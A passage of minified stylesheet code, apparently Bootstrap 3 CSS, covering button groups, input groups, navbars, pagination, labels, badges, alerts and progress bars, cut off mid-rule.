.dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:2px}@media (min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto}.navbar-right .dropdown-menu-left{left:0;right:auto}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;float:left}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar:after,.btn-toolbar:before{display:table;content:" "}.btn-toolbar:after{clear:both}.btn-toolbar .btn,.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-bottom-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-right:8px;padding-left:8px}.btn-group-lg.btn-group>.btn+.dropdown-toggle,.btn-group>.btn-lg+.dropdown-toggle{padding-right:12px;padding-left:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-group-lg>.btn .caret,.btn-lg .caret{border-width:5px 5px 0}.dropup .btn-group-lg>.btn .caret,.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before{display:table;content:" "}.btn-group-vertical>.btn-group:after{clear:both}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-top-right-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{display:table-cell;float:none;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle=buttons]>.btn-group>.btn input[type=checkbox],[data-toggle=buttons]>.btn-group>.btn input[type=radio],[data-toggle=buttons]>.btn input[type=checkbox],[data-toggle=buttons]>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*=col-]{float:none;padding-right:0;padding-left:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group .form-control:focus{z-index:3}.input-group-addon,.input-group-btn,.input-group .form-control{display:table-cell}.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child),.input-group .form-control:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:400;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.input-group-addon.btn{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.input-group-addon.btn{padding:10px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type=checkbox],.input-group-addon input[type=radio]{margin-top:0}.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn-group:not(:last-child)>.btn,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group .form-control:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group-addon:last-child,.input-group-btn:first-child>.btn-group:not(:first-child)>.btn,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle,.input-group .form-control:last-child{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{font-size:0;white-space:nowrap}.input-group-btn,.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:active,.input-group-btn>.btn:focus,.input-group-btn>.btn:hover{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{z-index:2;margin-left:-1px}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav:after,.nav:before{display:table;content:" "}.nav:after{clear:both}.nav>li,.nav>li>a{position:relative;display:block}.nav>li>a{padding:10px 15px}.nav>li>a:focus,.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#777}.nav>li.disabled>a:focus,.nav>li.disabled>a:hover{color:#777;text-decoration:none;cursor:not-allowed;background-color:transparent}.nav .open>a,.nav .open>a:focus,.nav .open>a:hover{background-color:#eee;border-color:#337ab7}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:focus,.nav-tabs>li.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid;border-color:#ddd #ddd transparent}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:focus,.nav-pills>li.active>a:hover{color:#fff;background-color:#337ab7}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified,.nav-tabs.nav-justified{width:100%}.nav-justified>li,.nav-tabs.nav-justified>li{float:none}.nav-justified>li>a,.nav-tabs.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li,.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a,.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified,.nav-tabs.nav-justified{border-bottom:0}.nav-tabs-justified>li>a,.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border:1px solid #ddd}@media (min-width:768px){.nav-tabs-justified>li>a,.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}.navbar:after,.navbar:before{display:table;content:" "}.navbar:after{clear:both}@media (min-width:768px){.navbar{border-radius:4px}}.navbar-header:after,.navbar-header:before{display:table;content:" "}.navbar-header:after{clear:both}@media (min-width:768px){.navbar-header{float:left}}.navbar-collapse{padding-right:15px;padding-left:15px;overflow-x:visible;border-top:1px solid transparent;box-shadow:inset 0 1px 0 hsla(0,0%,100%,.1);-webkit-overflow-scrolling:touch}.navbar-collapse:after,.navbar-collapse:before{display:table;content:" "}.navbar-collapse:after{clear:both}.navbar-collapse.in{overflow-y:auto}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;box-shadow:none}.navbar-collapse.collapse{display:block!important;height:auto!important;padding-bottom:0;overflow:visible!important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse{padding-right:0;padding-left:0}}.navbar-fixed-bottom,.navbar-fixed-top{position:fixed;right:0;left:0;z-index:1030}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:340px}@media (max-device-width:480px) and (orientation:landscape){.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:200px}}@media (min-width:768px){.navbar-fixed-bottom,.navbar-fixed-top{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:768px){.navbar-static-top{border-radius:0}}.navbar-brand{float:left;height:50px;padding:15px;font-size:18px;line-height:20px}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-brand>img{display:block}@media (min-width:768px){.navbar>.container-fluid .navbar-brand,.navbar>.container .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;padding:9px 10px;margin-right:15px;margin-top:8px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media (max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;box-shadow:none}.navbar-nav .open .dropdown-menu .dropdown-header,.navbar-nav .open .dropdown-menu>li>a{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:focus,.navbar-nav .open .dropdown-menu>li>a:hover{background-image:none}}@media (min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}.navbar-form{padding:10px 15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 hsla(0,0%,100%,.1),0 1px 0 hsla(0,0%,100%,.1);box-shadow:inset 0 1px 0 hsla(0,0%,100%,.1),0 1px 0 hsla(0,0%,100%,.1);margin:8px -15px}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .form-control,.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .checkbox,.navbar-form .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .checkbox label,.navbar-form .radio label{padding-left:0}.navbar-form .checkbox input[type=checkbox],.navbar-form .radio input[type=radio]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media (min-width:768px){.navbar-form{width:auto;padding-top:0;padding-bottom:0;margin-right:0;margin-left:0;border:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-left-radius:0;border-top-right-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{margin-bottom:0;border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8px;margin-bottom:8px}.btn-group-sm>.navbar-btn.btn,.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.btn-group-xs>.navbar-btn.btn,.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:15px;margin-bottom:15px}@media (min-width:768px){.navbar-text{float:left;margin-right:15px;margin-left:15px}}@media (min-width:768px){.navbar-left{float:left!important}.navbar-right{float:right!important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-color:#f8f8f8;border-color:#e7e7e7}.navbar-default .navbar-brand{color:#777}.navbar-default .navbar-brand:focus,.navbar-default .navbar-brand:hover{color:#5e5e5e;background-color:transparent}.navbar-default .navbar-nav>li>a,.navbar-default .navbar-text{color:#777}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:focus,.navbar-default .navbar-nav>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:focus,.navbar-default .navbar-nav>.disabled>a:hover{color:#ccc;background-color:transparent}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#555;background-color:#e7e7e7}@media (max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#ccc;background-color:transparent}}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:focus,.navbar-default .navbar-toggle:hover{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e7e7e7}.navbar-default .navbar-link{color:#777}.navbar-default .navbar-link:hover{color:#333}.navbar-default .btn-link{color:#777}.navbar-default .btn-link:focus,.navbar-default .btn-link:hover{color:#333}.navbar-default .btn-link[disabled]:focus,.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:focus,fieldset[disabled] .navbar-default .btn-link:hover{color:#ccc}.navbar-inverse{background-color:#222;border-color:#090909}.navbar-inverse .navbar-brand{color:#9d9d9d}.navbar-inverse .navbar-brand:focus,.navbar-inverse .navbar-brand:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>li>a,.navbar-inverse .navbar-text{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a:focus,.navbar-inverse .navbar-nav>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:focus,.navbar-inverse .navbar-nav>.active>a:hover{color:#fff;background-color:#090909}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:focus,.navbar-inverse .navbar-nav>.disabled>a:hover{color:#444;background-color:transparent}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:focus,.navbar-inverse .navbar-nav>.open>a:hover{color:#fff;background-color:#090909}@media (max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#090909}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#090909}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-color:#090909}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#444;background-color:transparent}}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:focus,.navbar-inverse .navbar-toggle:hover{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-link{color:#9d9d9d}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .btn-link{color:#9d9d9d}.navbar-inverse .btn-link:focus,.navbar-inverse .btn-link:hover{color:#fff}.navbar-inverse .btn-link[disabled]:focus,.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:focus,fieldset[disabled] .navbar-inverse .btn-link:hover{color:#444}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{padding:0 5px;color:#ccc;content:"/ "}.breadcrumb>.active{color:#777}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;margin-left:-1px;line-height:1.42857;color:#337ab7;text-decoration:none;background-color:#fff;border:1px solid #ddd}.pagination>li>a:focus,.pagination>li>a:hover,.pagination>li>span:focus,.pagination>li>span:hover{z-index:2;color:#23527c;background-color:#eee;border-color:#ddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-top-left-radius:4px;border-bottom-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>.active>a,.pagination>.active>a:focus,.pagination>.active>a:hover,.pagination>.active>span,.pagination>.active>span:focus,.pagination>.active>span:hover{z-index:3;color:#fff;cursor:default;background-color:#337ab7;border-color:#337ab7}.pagination>.disabled>a,.pagination>.disabled>a:focus,.pagination>.disabled>a:hover,.pagination>.disabled>span,.pagination>.disabled>span:focus,.pagination>.disabled>span:hover{color:#777;cursor:not-allowed;background-color:#fff;border-color:#ddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:18px;line-height:1.33333}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-top-left-radius:6px;border-bottom-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px;line-height:1.5}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-top-left-radius:3px;border-bottom-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px}.pager{padding-left:0;margin:20px 0;text-align:center;list-style:none}.pager:after,.pager:before{display:table;content:" "}.pager:after{clear:both}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;border-radius:15px}.pager li>a:focus,.pager li>a:hover{text-decoration:none;background-color:#eee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:focus,.pager .disabled>a:hover,.pager .disabled>span{color:#777;cursor:not-allowed;background-color:#fff}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}.label:empty{display:none}.btn .label{position:relative;top:-1px}a.label:focus,a.label:hover{color:#fff;text-decoration:none;cursor:pointer}.label-default{background-color:#777}.label-default[href]:focus,.label-default[href]:hover{background-color:#5e5e5e}.label-primary{background-color:#337ab7}.label-primary[href]:focus,.label-primary[href]:hover{background-color:#286090}.label-success{background-color:#5cb85c}.label-success[href]:focus,.label-success[href]:hover{background-color:#449d44}.label-info{background-color:#5bc0de}.label-info[href]:focus,.label-info[href]:hover{background-color:#31b0d5}.label-warning{background-color:#f0ad4e}.label-warning[href]:focus,.label-warning[href]:hover{background-color:#ec971f}.label-danger{background-color:#d9534f}.label-danger[href]:focus,.label-danger[href]:hover{background-color:#c9302c}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:middle;background-color:#777;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-group-xs>.btn .badge,.btn-xs .badge{top:0;padding:1px 5px}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#337ab7;background-color:#fff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}a.badge:focus,a.badge:hover{color:#fff;text-decoration:none;cursor:pointer}.jumbotron{padding-top:30px;padding-bottom:30px;margin-bottom:30px;background-color:#eee}.jumbotron,.jumbotron .h1,.jumbotron h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:21px;font-weight:200}.jumbotron>hr{border-top-color:#d5d5d5}.container-fluid .jumbotron,.container .jumbotron{padding-right:15px;padding-left:15px;border-radius:6px}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding-top:48px;padding-bottom:48px}.container-fluid .jumbotron,.container .jumbotron{padding-right:60px;padding-left:60px}.jumbotron .h1,.jumbotron h1{font-size:63px}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.42857;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:border .2s ease-in-out;-o-transition:border .2s ease-in-out;transition:border .2s ease-in-out}.thumbnail>img,.thumbnail a>img{display:block;max-width:100%;height:auto;margin-right:auto;margin-left:auto}.thumbnail .caption{padding:9px;color:#333}a.thumbnail.active,a.thumbnail:focus,a.thumbnail:hover{border-color:#337ab7}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:700}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#2b542c}.alert-info{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#245269}.alert-warning{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.alert-warning hr{border-top-color:#f7e1b5}.alert-warning .alert-link{color:#66512c}.alert-danger{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.alert-danger hr{border-top-color:#e4b9c0}.alert-danger .alert-link{color:#843534}@-webkit-keyframes progress-bar-stripes{0%{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{0%{background-position:40px 0}to{background-position:0 0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.progress-bar{float:left;width:0;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#337ab7;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-webkit-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress-bar-striped,.progress-striped .progress-bar{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-size:40px 40px}.progress-bar.active,.progress.active .progress-bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#5cb85c}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.progress-bar-info{background-color:#5bc0de}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.progress-bar-warning{background-color:#f0ad4e}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.progress-bar-danger{background-color:#d9534f}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 